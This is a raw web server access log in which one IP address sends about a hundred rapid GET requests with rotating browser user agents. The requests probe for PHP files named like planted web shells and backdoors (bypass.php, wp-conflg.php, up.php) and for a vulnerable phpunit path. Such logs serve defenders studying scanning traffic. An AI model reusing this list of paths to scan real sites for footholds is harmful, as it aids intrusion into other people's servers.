[28/Feb/2026:03:11:27 +0300] "GET /function/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:27 +0300] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:28 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:11:28 +0300] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:28 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:28 +0300] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 193.37.32.170 - - [28/Feb/2026:03:11:29 +0300] "GET /wp-includes/ID3/about.php/wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:11:29 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:29 +0300] "GET /wp-content/languages/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:29 +0300] "GET /update/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:29 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:11:30 +0300] "GET /wp-includes/assets/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:30 +0300] "GET /wp-includes/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:30 +0300] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:31 +0300] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:11:31 +0300] "GET /autoload_classmap/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:11:31 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:31 +0300] "GET /images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 193.37.32.170 - - [28/Feb/2026:03:11:31 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:11:32 +0300] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:11:32 +0300] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:11:32 +0300] "GET /wp-content/plugins/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:11:32 +0300] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:32 +0300] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:33 +0300] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:33 +0300] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:33 +0300] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 193.37.32.170 - - [28/Feb/2026:03:11:33 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 193.37.32.170 - - [28/Feb/2026:03:11:33 +0300] "GET /wp-admin/css/colors/blue/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:34 +0300] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:11:34 +0300] "GET /components/com_jea/views/form/tmpl/size.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:34 +0300] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:34 +0300] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:35 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:11:35 +0300] "GET /wp-admin/css/colors/light/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:35 +0300] "GET /wp-content/product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:35 +0300] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:11:35 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ask.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 193.37.32.170 - - [28/Feb/2026:03:11:36 +0300] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:11:36 +0300] "GET /css/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:36 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:11:36 +0300] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:11:37 +0300] "GET /autoload_classmap/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:11:37 +0300] "GET /wp-includes/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:37 +0300] "GET /assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:37 +0300] "GET /.well-known/pki-validation/index.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 193.37.32.170 - - [28/Feb/2026:03:11:38 +0300] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 193.37.32.170 - - [28/Feb/2026:03:11:38 +0300] "GET /css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:38 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:38 +0300] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:39 +0300] "GET /wp_wlx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 193.37.32.170 - - [28/Feb/2026:03:11:39 +0300] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:39 +0300] "GET /wp-includes/assets/husky301.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:11:39 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.37.32.170 - - [28/Feb/2026:03:11:40 +0300] "GET /wp-admin/css/colors/blue/wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:40 +0300] "GET /wp-content/themes/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:40 +0300] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:40 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 193.37.32.170 - - [28/Feb/2026:03:11:41 +0300] "GET /Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:41 +0300] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:11:41 +0300] "GET /wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 193.37.32.170 - - [28/Feb/2026:03:11:41 +0300] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:11:41 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:11:42 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:11:42 +0300] "GET /wp-includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:42 +0300] "GET /wp-content/blue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:42 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:42 +0300] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 193.37.32.170 - - [28/Feb/2026:03:11:43 +0300] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:43 +0300] "GET /wp-includes/rest-api/endpoints/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:43 +0300] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 193.37.32.170 - - [28/Feb/2026:03:11:43 +0300] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:43 +0300] "GET /wp-content/plugins/up/main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 193.37.32.170 - - [28/Feb/2026:03:11:43 +0300] "GET /fonts/fontawesome-webfont.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:44 +0300] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:44 +0300] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:44 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:11:44 +0300] "GET /images/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:44 +0300] "GET /images/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 193.37.32.170 - - [28/Feb/2026:03:11:45 +0300] "GET /wp-content/plugins/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:11:45 +0300] "GET /web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:45 +0300] "GET /wp-admin/css/colors/ocean/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 193.37.32.170 - - [28/Feb/2026:03:11:45 +0300] "GET /images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:11:46 +0300] "GET /wp-content/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:11:46 +0300] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:46 +0300] "GET /wp-admin/css/colors/midnight/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:46 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:46 +0300] "GET /wp-includes/style-engine/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:47 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:11:47 +0300] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:11:47 +0300] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:47 +0300] "GET /wp-admin/css/colors/midnight/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:11:47 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:48 +0300] "GET /wp-setup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:48 +0300] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 193.37.32.170 - - [28/Feb/2026:03:11:48 +0300] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 193.37.32.170 - - [28/Feb/2026:03:11:48 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:48 +0300] "GET /wp-includes/infi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:49 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:11:49 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:49 +0300] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:49 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:49 +0300] "GET /images/index22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:11:50 +0300] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:11:50 +0300] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:50 +0300] "GET /wp-includes/pomo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 193.37.32.170 - - [28/Feb/2026:03:11:50 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:51 +0300] "GET /special.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:51 +0300] "GET /assets/script.js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:51 +0300] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:11:51 +0300] "GET /wp-admin/css/colors/sunrise/colors_95.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:51 +0300] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:11:52 +0300] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:11:52 +0300] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 193.37.32.170 - - [28/Feb/2026:03:11:52 +0300] "GET /cgi-bin/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - 